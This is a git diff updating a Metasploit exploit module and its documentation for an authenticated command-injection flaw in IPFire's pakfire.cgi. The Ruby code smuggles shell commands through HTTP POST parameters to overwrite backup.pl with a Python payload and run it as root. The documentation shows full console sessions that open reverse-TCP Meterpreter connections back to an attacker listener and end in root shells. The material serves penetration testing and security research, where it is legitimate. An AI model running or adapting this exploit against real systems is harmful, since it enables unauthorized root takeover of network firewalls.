diff --git a/documentation/modules/exploit/linux/http/ipfire_pakfire_exec.md b/documentation/modules/exploit/linux/http/ipfire_pakfire_exec.md index d0a0538f4a..7eb8de9fb7 100644 --- a/documentation/modules/exploit/linux/http/ipfire_pakfire_exec.md +++ b/documentation/modules/exploit/linux/http/ipfire_pakfire_exec.md @@ -4,8 +4,8 @@ [IPFire 2.21 (Core Update 126)](https://mirror.csclub.uwaterloo.ca/ipfire/releases/ipfire-2.x/2.21-core126/ipfire-2.21.x86_64-full-core126.iso) This module exploits an authenticated command injection vulnerability in the - /cgi-bin/pakfire.cgi web page of IPFire devices running versions 2.25 Core Update 156 - and prior to execute arbitrary code as the root user. + `/cgi-bin/pakfire.cgi` web page of IPFire devices running versions 2.25 Core Update 156 + and prior to execute arbitrary code as the `root` user. ## Verification Steps @@ -14,6 +14,7 @@ 1. Do: `set username ` 1. Do: `set password ` 1. Do: `set rhost ` + 1. Do: `set lhost ` 1. Do: `exploit` 1. You should get a shell as the `root` user. @@ -30,7 +31,7 @@ ### IPFire 2.21 (Core Update 126) ``` msf6 > use exploit/linux/http/ipfire_pakfire_exec -[*] No payload configured, defaulting to python/meterpreter/reverse_tcp +[*] Using configured payload python/meterpreter/reverse_tcp msf6 exploit(linux/http/ipfire_pakfire_exec) > show options Module options (exploit/linux/http/ipfire_pakfire_exec): @@ -41,7 +42,12 @@ Module options (exploit/linux/http/ipfire_pakfire_exec): Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 444 yes The target port (TCP) + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local ma + chine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + URIPATH no The URI to use for this exploit (default is random) USERNAME admin yes User to login with VHOST no HTTP server virtual host @@ -50,7 +56,7 @@ Payload options (python/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- - LHOST 172.22.244.16 yes The listen address (an interface may be specified) + LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port @@ -58,47 +64,53 @@ Exploit target: Id Name -- ---- - 0 Automatic Target + 0 Python Dropper -msf6 exploit(linux/http/ipfire_pakfire_exec) > set RHOSTS 172.22.244.50 -RHOSTS => 172.22.244.50 +msf6 exploit(linux/http/ipfire_pakfire_exec) > set RHOSTS 172.29.202.191 +RHOSTS => 172.29.202.191 msf6 exploit(linux/http/ipfire_pakfire_exec) > set USERNAME admin USERNAME => admin msf6 exploit(linux/http/ipfire_pakfire_exec) > set PASSWORD admin PASSWORD => admin -msf6 exploit(linux/http/ipfire_pakfire_exec) > set LPORT 9925 -LPORT => 9925 +msf6 exploit(linux/http/ipfire_pakfire_exec) > set LHOST 172.29.202.153 +LHOST => 172.29.202.153 msf6 exploit(linux/http/ipfire_pakfire_exec) > exploit -[*] Started reverse TCP handler on 172.22.244.16:9925 +[*] Started reverse TCP handler on 172.29.202.153:4444 [*] Executing automatic check (disable AutoCheck to override) [+] The target appears to be vulnerable. Target is running IPFire 2.21 (Core Update 126) -[*] Copying backup.pl to a backup file... +[*] Backing up backup.pl to /tmp/1TiE8... [*] Overwriting the contents of backup.pl with a Python header statement -[*] Appending the contents of backup.pl with code to setuid(0) [*] Appending the contents of backup.pl with the Python code to be executed. -[*] Executing /usr/local/bin/backupctrl to execute the payload -[*] Sending stage (39392 bytes) to 172.22.244.50 -[*] Meterpreter session 1 opened (172.22.244.16:9925 -> 172.22.244.50:41860) at 2021-06-04 16:48:12 -0500 -[*] You should now have your shell, restoring the original contents of the backup.pl file... +[*] Executing /usr/local/bin/backupctrl to run the payload +[*] Sending stage (39392 bytes) to 172.29.202.191 +[*] Meterpreter session 1 opened (172.29.202.153:4444 -> 172.29.202.191:38336) at 2021-06-08 14:05:41 -0500 +[+] You should now have your shell, restoring the original contents of the backup.pl file... [*] All done, enjoy the shells! -meterpreter > getuid -Server username: root meterpreter > sysinfo Computer : ipfire.localdomain OS : Linux 4.14.86-ipfire #1 SMP Tue Dec 11 08:36:08 GMT 2018 Architecture : x64 Meterpreter : python/linux -meterpreter > +meterpreter > getuid +Server username: root +meterpreter > shell +Process 28379 created. +Channel 1 created. +sh: cannot set terminal process group (27956): Inappropriate ioctl for device +sh: no job control in this shell +sh-4.3# id +uid=0(root) gid=0(root) groups=0(root) +sh-4.3# ``` ### IPFire 2.25 (Core Update 156) ``` msf6 > use exploit/linux/http/ipfire_pakfire_exec -[*] No payload configured, defaulting to python/meterpreter/reverse_tcp +[*] Using configured payload python/meterpreter/reverse_tcp msf6 exploit(linux/http/ipfire_pakfire_exec) > show options Module options (exploit/linux/http/ipfire_pakfire_exec): @@ -109,7 +121,12 @@ Module options (exploit/linux/http/ipfire_pakfire_exec): Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 444 yes The target port (TCP) + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local ma + chine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + URIPATH no The URI to use for this exploit (default is random) USERNAME admin yes User to login with VHOST no HTTP server virtual host @@ -118,7 +135,7 @@ Payload options (python/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- - LHOST 172.22.244.16 yes The listen address (an interface may be specified) + LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port @@ -126,36 +143,44 @@ Exploit target: Id Name -- ---- - 0 Automatic Target + 0 Python Dropper -msf6 exploit(linux/http/ipfire_pakfire_exec) > set RHOSTS 172.22.244.18 -RHOSTS => 172.22.244.18 +msf6 exploit(linux/http/ipfire_pakfire_exec) > set RHOST 172.29.202.157 +RHOST => 172.29.202.157 msf6 exploit(linux/http/ipfire_pakfire_exec) > set USERNAME admin USERNAME => admin msf6 exploit(linux/http/ipfire_pakfire_exec) > set PASSWORD admin PASSWORD => admin +msf6 exploit(linux/http/ipfire_pakfire_exec) > set LHOST 172.29.202.153 +LHOST => 172.29.202.153 msf6 exploit(linux/http/ipfire_pakfire_exec) > exploit -[*] Started reverse TCP handler on 172.22.244.16:4444 +[*] Started reverse TCP handler on 172.29.202.153:4444 [*] Executing automatic check (disable AutoCheck to override) [+] The target appears to be vulnerable. Target is running IPFire 2.25 (Core Update 156) -[*] Copying backup.pl to a backup file... +[*] Backing up backup.pl to /tmp/8Yndo... [*] Overwriting the contents of backup.pl with a Python header statement -[*] Appending the contents of backup.pl with code to setuid(0) [*] Appending the contents of backup.pl with the Python code to be executed. -[*] Executing /usr/local/bin/backupctrl to execute the payload -[*] Sending stage (39392 bytes) to 172.22.244.18 -[*] Meterpreter session 1 opened (172.22.244.16:4444 -> 172.22.244.18:33936) at 2021-06-04 16:07:39 -0500 -[*] You should now have your shell, restoring the original contents of the backup.pl file... +[*] Executing /usr/local/bin/backupctrl to run the payload +[*] Sending stage (39392 bytes) to 172.29.202.157 +[*] Meterpreter session 1 opened (172.29.202.153:4444 -> 172.29.202.157:37192) at 2021-06-08 14:02:03 -0500 +[+] You should now have your shell, restoring the original contents of the backup.pl file... [*] All done, enjoy the shells! -meterpreter > getuid -Server username: root meterpreter > sysinfo Computer : ipfire.localdomain OS : Linux 4.14.212-ipfire #1 SMP Tue May 4 09:02:54 GMT 2021 Architecture : x64 Meterpreter : python/linux -meterpreter > +meterpreter > getuid +Server username: root +meterpreter > shell +Process 10179 created. +Channel 1 created. +sh: cannot set terminal process group (10136): Inappropriate ioctl for device +sh: no job control in this shell +sh-5.0# id +uid=0(root) gid=0(root) groups=0(root) +sh-5.0# ``` \ No newline at end of file diff --git a/modules/exploits/linux/http/ipfire_pakfire_exec.rb b/modules/exploits/linux/http/ipfire_pakfire_exec.rb index fff890bef6..717446ea7b 100644 --- a/modules/exploits/linux/http/ipfire_pakfire_exec.rb +++ b/modules/exploits/linux/http/ipfire_pakfire_exec.rb @@ -4,9 +4,10 @@ ## class MetasploitModule < Msf::Exploit::Remote - Rank = NormalRanking + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) @@ -28,19 +29,29 @@ class MetasploitModule < Msf::Exploit::Remote 'References' => [ [ 'EDB', '49869' ], + [ 'CVE', '2021-33393'], [ 'URL', 'https://github.com/MucahitSaratar/ipfire-2-25-auth-rce'], [ 'URL', 'https://www.youtube.com/watch?v=5FUXV7dfNjg'], ], - 'Platform' => 'python', + 'Platform' => ['python' ], 'Privileged' => true, - 'Arch' => ARCH_PYTHON, + 'Arch' => [ ARCH_PYTHON ], 'Targets' => [ - [ 'Automatic Target', {}] + [ + 'Python Dropper', + { + 'Platform' => 'python', + 'Arch' => [ ARCH_PYTHON ], + 'Type' => :unix_memory, + 'DefaultOptions' => { + 'PAYLOAD' => 'python/meterpreter/reverse_tcp' + } + } + ] ], 'DisclosureDate' => '2021-05-17', - 'Notes' => - { + 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ CONFIG_CHANGES, IOC_IN_LOGS ] @@ -61,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote '/cgi-bin/pakfire.cgi' # vulnerable path end - def send_packet(method, execstr = 'sleep 10', waitsec = 20) + def send_packet(method, execstr, waitsec) myheaders = { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/" @@ -88,15 +99,19 @@ class MetasploitModule < Msf::Exploit::Remote 'timeout' => waitsec ) end - return response + response end def check - cevap = send_packet('GET', '', 15) + cevap = send_packet('GET', '', 10) if cevap.nil? || cevap.body.empty? return CheckCode::Unknown('No response from the target!') end + unless cevap.body.scan(/401 Unauthorized/).empty? + return CheckCode::Unknown('Invalid credentials supplied! Check USERNAME and PASSWORD options!') + end + version = cevap.body.scan(/IPFire (.*) \(.*\) - Core Update [0-9]{3}/).flatten[0] || '' core = cevap.body.scan(/IPFire .* \(.*\) - Core Update (.*)/).flatten[0] || '' unless version @@ -111,23 +126,30 @@ class MetasploitModule < Msf::Exploit::Remote def exploit temp_backup_file = Rex::Text.rand_text_alphanumeric(5, 30) - print_status('Copying backup.pl to a backup file...') - send_packet('POST', "cp /var/ipfire/backup/bin/backup.pl /tmp/#{temp_backup_file}", 1) + print_status("Backing up backup.pl to /tmp/#{temp_backup_file}...") + if send_packet('POST', "cp /var/ipfire/backup/bin/backup.pl /tmp/#{temp_backup_file}", 1).nil? + fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to back up backup.pl!") + end print_status('Overwriting the contents of backup.pl with a Python header statement') - send_packet('POST', 'echo "#!/usr/bin/python" > /var/ipfire/backup/bin/backup.pl', 1) - - print_status('Appending the contents of backup.pl with code to setuid(0)') - send_packet('POST', "echo \"__import__('os').setuid(0)\" >> /var/ipfire/backup/bin/backup.pl", 1) + if send_packet('POST', 'echo "#!/usr/bin/python" > /var/ipfire/backup/bin/backup.pl', 1).nil? + fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to overwrite backup.pl!") + end print_status('Appending the contents of backup.pl with the Python code to be executed.') - send_packet('POST', "echo \"#{payload.encoded}\" >> /var/ipfire/backup/bin/backup.pl", 1) + if send_packet('POST', "echo \"#{payload.encoded}\" >> /var/ipfire/backup/bin/backup.pl", 1).nil? + fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to append to backup.pl!") + end - print_status('Executing /usr/local/bin/backupctrl to execute the payload') - send_packet('POST', '/usr/local/bin/backupctrl', 1) + print_status('Executing /usr/local/bin/backupctrl to run the payload') + unless send_packet('POST', '/usr/local/bin/backupctrl', 1).nil? + fail_with(Failure::UnexpectedReply, 'Something went wrong, the server should not respond after we execute the payload.') + end - print_status('You should now have your shell, restoring the original contents of the backup.pl file...') - send_packet('POST', "cp /tmp/#{temp_backup_file} /var/ipfire/backup/bin/backup.pl") + print_good('You should now have your shell, restoring the original contents of the backup.pl file...') + if send_packet('POST', "cp /tmp/#{temp_backup_file} /var/ipfire/backup/bin/backup.pl", 20).nil? + fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to restore backup.pl!") + end print_status('All done, enjoy the shells!') rescue ::Rex::ConnectionError